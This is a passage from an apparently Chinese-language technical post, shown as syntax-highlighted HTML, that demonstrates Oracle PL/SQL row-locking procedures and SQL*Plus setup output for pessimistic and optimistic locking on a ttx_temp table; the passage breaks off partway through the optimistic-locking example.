<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>g_ok</font><font color=#007700>;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message </font><font color=#007700>:= </font><font color=#0000bb>g_changed</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>end </font><font color=#007700>if;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>close cur_ttx_temp</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>exception
<br>&nbsp;&nbsp;&nbsp;&nbsp;when others then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>substrb</font><font color=#007700>(</font><font color=#0000bb>sqlcode</font><font color=#007700>||</font><font color=#dd0000>'/'</font><font color=#007700>||</font><font color=#0000bb>sqlerrm</font><font color=#007700>,</font><font color=#0000bb>1</font><font color=#007700>,</font><font color=#0000bb>200</font><font color=#007700>);&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if </font><font color=#0000bb>cur_ttx_temp</font><font color=#007700>%</font><font color=#0000bb>isopen then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close cur_ttx_temp</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>end </font><font color=#007700>if;
<br>&nbsp;&nbsp;</font><font color=#0000bb>end</font><font color=#007700>;
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>procedure update_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out nocopy varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#007700>) </font><font color=#0000bb>is
<br>&nbsp;&nbsp;begin
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;update ttx_temp
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_owner</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_name&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_object_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>subobject_name </font><font color=#007700>= </font><font color=#0000bb>p_subobject_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>data_object_id </font><font color=#007700>= </font><font color=#0000bb>p_data_object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_type&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_object_type</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_created</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>last_ddl_time&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_last_ddl_time</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_timestamp</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_status</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_temporary</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_generated</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>= </font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where id</font><font color=#007700>=</font><font color=#0000bb>p_id</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if </font><font color=#0000bb>sql</font><font color=#007700>%</font><font color=#0000bb>rowcount </font><font color=#007700>&gt; </font><font color=#0000bb>0 then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>g_ok</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message </font><font color=#007700>:= </font><font color=#0000bb>g_no_row</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>end </font><font color=#007700>if;&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>exception
<br>&nbsp;&nbsp;&nbsp;&nbsp;when others then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>substrb</font><font color=#007700>(</font><font color=#0000bb>sqlcode</font><font color=#007700>||</font><font color=#dd0000>'/'</font><font color=#007700>||</font><font color=#0000bb>sqlerrm</font><font color=#007700>,</font><font color=#0000bb>1</font><font color=#007700>,</font><font color=#0000bb>200</font><font color=#007700>);
<br>&nbsp;&nbsp;</font><font color=#0000bb>end</font><font color=#007700>;
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>procedure delete_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message out nocopy varchar2
<br>&nbsp;&nbsp;</font><font color=#007700>) </font><font color=#0000bb>is
<br>&nbsp;&nbsp;begin
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete ttx_temp
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where id</font><font color=#007700>=</font><font color=#0000bb>p_id</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if </font><font color=#0000bb>sql</font><font color=#007700>%</font><font color=#0000bb>rowcount </font><font color=#007700>&gt; </font><font color=#0000bb>0 then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>g_ok</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>raise no_data_found</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>end </font><font color=#007700>if;
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>exception
<br>&nbsp;&nbsp;&nbsp;&nbsp;when others then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x_message </font><font color=#007700>:= </font><font color=#0000bb>substrb</font><font color=#007700>(</font><font color=#0000bb>sqlcode</font><font color=#007700>||</font><font color=#dd0000>'/'</font><font color=#007700>||</font><font color=#0000bb>sqlerrm</font><font color=#007700>,</font><font color=#0000bb>1</font><font color=#007700>,</font><font color=#0000bb>200</font><font color=#007700>);&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>end</font><font color=#007700>;&nbsp;&nbsp;
<br>
<br></font><font color=#0000bb>end ttx_temp_pkg</font><font color=#007700>;
<br>/<br></font></font></code><hr></pre>
</blockquote><font face="verdana, arial, helvetica"><br><font color=red><br><font size=2>--环境准备<br></font></font><br><font color=blue><br><font size=2>ttx@TTX&gt;create table ttx_temp as select *<br>2 from dba_objects where rownum &lt; 100;<br><br>Table created.<br><br>ttx@TTX&gt;alter table ttx_temp add id number;<br><br>Table altered.<br><br>ttx@TTX&gt;create sequence ttx_temp_s;<br><br>Sequence created.<br><br>ttx@TTX&gt;update ttx_temp set id = ttx_temp_s.nextval;<br><br>99 rows updated.<br><br>ttx@TTX&gt;commit;<br><br>Commit complete.<br><br>ttx@TTX&gt;alter table ttx_temp modify id not null;<br><br>Table altered.<br><br><br>ttx@TTX&gt;alter table ttx_temp add constraint ttx_temp_pk primary key(id);<br><br>Table altered.<br><br>ttx@TTX&gt;show errros;<br>SP2-0158: unknown SHOW option "errros"<br>ttx@TTX&gt;desc ttx_temp<br>Name Null? Type<br>----------------------------------------------------- -------- ------------------------------------<br>OWNER VARCHAR2(30)<br>OBJECT_NAME VARCHAR2(128)<br>SUBOBJECT_NAME VARCHAR2(30)<br>OBJECT_ID NUMBER<br>DATA_OBJECT_ID NUMBER<br>OBJECT_TYPE VARCHAR2(19)<br>CREATED DATE<br>LAST_DDL_TIME DATE<br>TIMESTAMP VARCHAR2(19)<br>STATUS VARCHAR2(7)<br>TEMPORARY VARCHAR2(1)<br>GENERATED VARCHAR2(1)<br>SECONDARY VARCHAR2(1)<br>ID NOT NULL NUMBER<br><br>ttx@TTX&gt;column object_name format a30<br>ttx@TTX&gt;column owner format a15<br>ttx@TTX&gt;select owner,object_name from ttx_temp where id &lt; 10;<br><br>OWNER OBJECT_NAME <br>--------------- ------------------------------ <br>SYS ICOL$ <br>SYS I_USER1 <br>SYS CON$ <br>SYS UNDO$ <br>SYS C_COBJ# <br>SYS I_OBJ# <br>SYS PROXY_ROLE_DATA$ <br>SYS I_IND1 <br>SYS I_CDEF2 <br><br>9 rows selected.<br><br>ttx@TTX&gt;desc ttx_temp_pkg<br>PROCEDURE DELETE_ROW<br>Argument Name Type In/Out Default?<br>------------------------------ ----------------------- ------ --------<br>P_ID NUMBER IN <br>X_MESSAGE VARCHAR2 OUT <br>PROCEDURE LOCK_ROW<br>Argument Name Type In/Out Default?<br>------------------------------ ----------------------- ------ --------<br>X_MESSAGE VARCHAR2 OUT <br>P_ID NUMBER IN <br>P_OWNER VARCHAR2 IN <br>P_OBJECT_NAME VARCHAR2 IN <br>P_SUBOBJECT_NAME VARCHAR2 IN <br>P_OBJECT_ID NUMBER IN <br>P_DATA_OBJECT_ID NUMBER IN <br>P_OBJECT_TYPE VARCHAR2 IN <br>P_CREATED DATE IN <br>P_LAST_DDL_TIME DATE IN <br>P_TIMESTAMP VARCHAR2 IN <br>P_STATUS VARCHAR2 IN <br>P_TEMPORARY VARCHAR2 IN <br>P_GENERATED VARCHAR2 IN <br>P_SECONDARY VARCHAR2 IN <br>PROCEDURE UPDATE_ROW<br>Argument Name Type In/Out Default?<br>------------------------------ ----------------------- ------ --------<br>X_MESSAGE VARCHAR2 OUT <br>P_ID NUMBER IN <br>P_OWNER VARCHAR2 IN <br>P_OBJECT_NAME VARCHAR2 IN <br>P_SUBOBJECT_NAME VARCHAR2 IN <br>P_OBJECT_ID NUMBER IN <br>P_DATA_OBJECT_ID NUMBER IN <br>P_OBJECT_TYPE VARCHAR2 IN <br>P_CREATED DATE IN <br>P_LAST_DDL_TIME DATE IN <br>P_TIMESTAMP VARCHAR2 IN <br>P_STATUS VARCHAR2 IN <br>P_TEMPORARY VARCHAR2 IN <br>P_GENERATED VARCHAR2 IN <br>P_SECONDARY VARCHAR2 IN <br><br>ttx@TTX&gt;<br><br></font></font><br><br><font color=red><br><font size=2>--前台操作用户通过前台界面查出需要的数据(select * from ttx_temp)，<br>--然后对对ID=1的这行数据的SUBOBJECT_NAME进行修改后提交更新时，<br>--程序应该类似于下面的方式调用，就可以保证数据更新不被丢失<br></font></font><br><br></font>
<blockquote>
<pre><font size=2><font face=verdana,arial,helvetica>代码:</font><hr></font><code><font color=#000000>
<font color=#0000bb><br>begin
<br>&nbsp;&nbsp;</font><font color=#007700>--</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>xxx 在调用时用具体的初始值替代</font><font color=#007700>,</font><font color=#0000bb>在Oracle Form和Delphi中都支持Old和New的模式</font><font color=#007700>,
<br>&nbsp;&nbsp;--</font><font color=#0000bb>在JAVA中我不太清楚</font><font color=#007700>,</font><font color=#0000bb>应该是有办法的
<br>&nbsp;&nbsp;ttx_temp_pkg</font><font color=#007700>.</font><font color=#0000bb>lock_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>v_message</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>id</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>owner</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>subobject_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>data_object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_type</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>created</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>last_ddl_time</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>timestamp</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>status</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>temporary</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>generated</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>secondary
<br>&nbsp;&nbsp;</font><font color=#007700>);
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;if </font><font color=#0000bb>v_message </font><font color=#007700>= </font><font color=#dd0000>'OK' </font><font color=#0000bb>then
<br>&nbsp;&nbsp;&nbsp;&nbsp;ttx_temp_pkg</font><font color=#007700>.</font><font color=#0000bb>update_row&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>v_message</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; </font><font color=#0000bb>id</font><font color=#007700>,--</font><font color=#0000bb>用具体的值代替
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>owner</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>object_name</font><font color=#007700>,&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>subobject_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>object_id</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>data_object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>object_type</font><font color=#007700>,&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>created</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>last_ddl_time</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>timestamp</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>status</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>temporary</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>generated</font><font color=#007700>,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>=&gt; new.</font><font color=#0000bb>secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>);
<br>&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;if </font><font color=#0000bb>v_message </font><font color=#007700>= </font><font color=#dd0000>'OK' </font><font color=#0000bb>then
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>--</font><font color=#0000bb>数据更新成功
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>else
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--</font><font color=#0000bb>数据更新失败&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;end </font><font color=#007700>if;
<br>&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;else
<br>&nbsp;&nbsp;&nbsp;&nbsp;--</font><font color=#0000bb>锁定行出错，具体信息为</font><font color=#007700>:</font><font color=#0000bb>v_message&nbsp;&nbsp;
<br>&nbsp;&nbsp;end </font><font color=#007700>if;&nbsp;&nbsp;
<br>&nbsp;&nbsp;
<br></font><font color=#0000bb>end</font><font color=#007700>;<br></font></font></code><hr></pre>
</blockquote><font face="verdana, arial, helvetica"><br><br><font color=red><br><font size=2>--Oracle乐观封锁示例：<br>--前台操作用户通过前台界面查出需要的数据(select t.rowid,t.* from ttx_temp t)，<br>--然后对对ID=1的这行数据的SUBOBJECT_NAME进行修改提交更新，<br>--应该使用的程序代码类似为(Delphi可以自已产生，其余的不太清楚)：<br><br></font></font><br><br></font>
<blockquote>
<pre><font size=2><font face=verdana,arial,helvetica>代码:</font><hr></font><code><font color=#000000>
<font color=#0000bb><br>update ttx_temp t
<br>set t</font><font color=#007700>.</font><font color=#0000bb>subobject_name</font><font color=#007700>=new.</font><font color=#0000bb>subobject_name
<br>where t</font><font color=#007700>.</font><font color=#0000bb>rowid</font><font color=#007700>=</font><font color=#0000bb>_rowid</font><font color=#007700>--</font><font color=#0000bb>用具体的值代替
